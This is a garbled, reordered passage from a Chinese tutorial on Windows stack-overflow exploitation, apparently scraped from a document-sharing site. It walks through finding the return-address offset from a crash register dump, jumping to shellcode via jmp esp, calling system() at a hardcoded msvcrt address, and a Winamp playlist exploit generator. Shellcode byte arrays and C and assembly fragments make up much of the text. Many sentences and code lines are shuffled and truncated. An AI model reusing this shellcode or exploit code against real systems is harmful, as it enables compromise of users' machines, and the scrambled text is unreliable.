windows系統(tǒng)下的堆棧溢出-免費(fèi)閱讀
【正文】 最后，我希望我的講座作為拋磚引玉，能夠引發(fā)大家更深入的探討。如果我們可以將它們 overflow，按照上面的方法，可以得到 dos，（ NT 下是 ），將擁有超級(jí)用戶的權(quán)限。 所以，對(duì)于 windows 下的堆棧溢出exploit，必須公開原代碼，才能由其他人完成別的版本的修改，這一點(diǎn)，大家以后公布 exploit時(shí)，要記住。用戶的 dll一變更，那么，我們的 exploit里面的 shellcode就要重新寫。但是，由于 windows 用戶進(jìn)程地址空間分配和堆棧處理有其獨(dú)立的特點(diǎn)，導(dǎo)致了 windows 環(huán)境下堆棧溢出攻擊時(shí)，使用的堆棧溢出字符串，與 unix下的，區(qū)別很大。 fprintf(file, %s, eip)。 for(int x=0。一個(gè) jmp esp之后，就到了我們的 shellcode上，繼續(xù)執(zhí)行，看到了什么嗎？ 奇怪！我們的 shellcode 變短了，到B8249801，后面就沒有了。 fprintf(file, \nNumberOfEntries=1)。x580。我的機(jī)器上 版本是： () . 0x78019824 是 里面的函數(shù)system 的地址。 system()。看來 ESP指向我們的shellcode，太棒了！我們使用指令： jmp ESP 就可以執(zhí)行我們的 shellcode了。 printf(\t created file loaded with the exploit.\n)。 file = fopen(,wb)。A39。x++) { switch(x%4) { case 0: buffer[x] = 39。 playlist里面的文件名長(zhǎng)度如果大于一定長(zhǎng)度就會(huì)發(fā)生堆棧溢出。 dll 就要去看程序自己的 import列表了。因?yàn)樵谝绯霭l(fā)生的時(shí)候，除了 eip跳到了系統(tǒng)核心 dll去之外，其他的通用寄存器都保持不變。我們需要把 A改成不包含 0的地址。 現(xiàn)在來看一看我們的 shellcode ：NNNNSSSSAAAAAA。 } 編譯運(yùn)行，得到 dos對(duì)話框。 還記得第二講中那個(gè)測(cè)試 shellcode的基本程序嗎？我們可以用他來測(cè)試這個(gè)shellcode： include include char shellcode[] = { 0x8B,0xE5, /*mov esp, ebp */ 0x55, /*push ebp */ 0x8B,0xEC, /*mov ebp, esp */ 0x83,0xEC,0x0C, /*sub esp, 0000000C */ 0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */ 0x89,0x45,0xF4, /*mov dword ptr [ebp0C], eax*/ 0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */ 0x89,0x45,0xF8, /*mov dword ptr [ebp08], eax*/ 0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */ 0x89,0x45,0xFC, /*mov dword ptr [ebp04], eax*/ 0x33,0xD2, /*xor edx, edx */ 0x88,0x55,0xFF, /*mov byte ptr [ebp01], dl */ 0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp0C]*/ 0x50, /*push eax */ 0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */ 0xFF,0xD0 /*call eax */ }。串地址作為參數(shù)入棧 mov eax, 0x78019824 。 mov byte ptr [ebp07h],6eh 。 sub esp,08h 。使用堆棧傳遞參數(shù)，只有一個(gè)參數(shù)，就是字符串 的地址 00401096 push edx 00401097 call dword ptr [ProcAdd] 0040109A add esp,4 現(xiàn)在我們可以寫出一段匯編代碼來完成system，看以看我們的執(zhí)行 system調(diào)用的代碼是否能夠像我們?cè)O(shè)計(jì)的那樣工作： include include void main() { LoadLibrary()。 00401075 lea edx,dword ptr [dllbuf] 00401078 push edx 00401079 call dword ptr [__imp__LoadLibraryA4(0x00416134)] 0040107F mov dword ptr [LibHandle],eax 16: 17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf)。 system 函數(shù)位于 的一個(gè)固定偏移處（這個(gè)偏移地址只與，不同的版本可能偏移地址不同）。但是， windows 不像 UNIX那樣使用 系統(tǒng)調(diào)用來實(shí)現(xiàn)關(guān)鍵函數(shù)。 char cmdbuf[16] = 。這就使我們可以精確的方便的尋找堆棧溢出漏洞。 Registers: EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246 EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233 ECX=00000020 DS=0187 ESI=816bffcc FS=11df EDX=00411a68 ES=0187 EDI=00000000 GS=0000 Bytes at CS:EIP: Stack dump: 32383237 33303339 33323331 33343333 33363335 33383337 c0000005 0064ff68 0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78 bff8b86c 哦哦， EIP 的內(nèi)容為 0x32363235，就是2625,EBP 的內(nèi)容為 0x32343233，就是2423,計(jì)算一下可以知道，在堆棧中，從name變量地址開始偏移 36處，是 EBP的地址，從 name 變量地址開始偏移 40處，是 ret的地址。i++) printf(\\0x%x,name)。我們的目的是研究如何利用windows 程序的堆棧溢出漏洞。i32amp。這個(gè)功能太好了，我們可以選擇一個(gè)序列的輸入串，精確的確定存放返回地址的偏移位置。我們每次執(zhí)行 vunera~1 的堆棧的開始地址都是相同的。 MYPROC ProcAdd。 } 這個(gè)程序有必要詳細(xì)解釋一下。我們必須找到那個(gè)包含此函數(shù)的動(dòng)態(tài)鏈接庫，由該動(dòng)態(tài)鏈接庫提供這個(gè)函數(shù)的地址。之后才能使用這個(gè)真實(shí)地址來調(diào)用 system 函數(shù)。不用每次都找了。 push edi 。 mov byte ptr [ebp0ah],6dh 。 mov byte ptr [ebp02h],6dh 。Access Violation。 //ret 等于 main（）的返回地址 //(＋ 2是因?yàn)椋河?push ebp ,否則加 1就可以了。 但是這遠(yuǎn)遠(yuǎn)不夠。S 位于堆棧的底部。我們知道系統(tǒng)核心的dll都是在 2－ 4G，也就是從 0x80000000到 0xffffffff,這里面的指令地址將不包含0，（當(dāng)然幾個(gè)別的除外，我們可以不用他）。系統(tǒng)核心 dll 包括 ,dll是一直位于內(nèi)存中而且對(duì)應(yīng)于固定的版本 windows 加載的位置是固定的。 有了這些基礎(chǔ)知識(shí)，我們來分析一個(gè)實(shí)例。 FILE *file。+x/26%26/26%26。+x%26。 fprintf(file, %s, sploit)。 編譯執(zhí)行，看看結(jié)果，嘿，發(fā)生了堆棧溢出，結(jié)果如下： WINAMP 在 00de:4c574141 的模塊 未知 中導(dǎo)致無效頁錯(cuò)誤。 下面我們來寫 shellcode。而 winamp沒有 import這個(gè)庫， 所譯我們需要自己加載。 char shellcode[256] = \x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53//load \xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6 \x45
公司管理相關(guān)推薦
鄂ICP備17016276號(hào)-1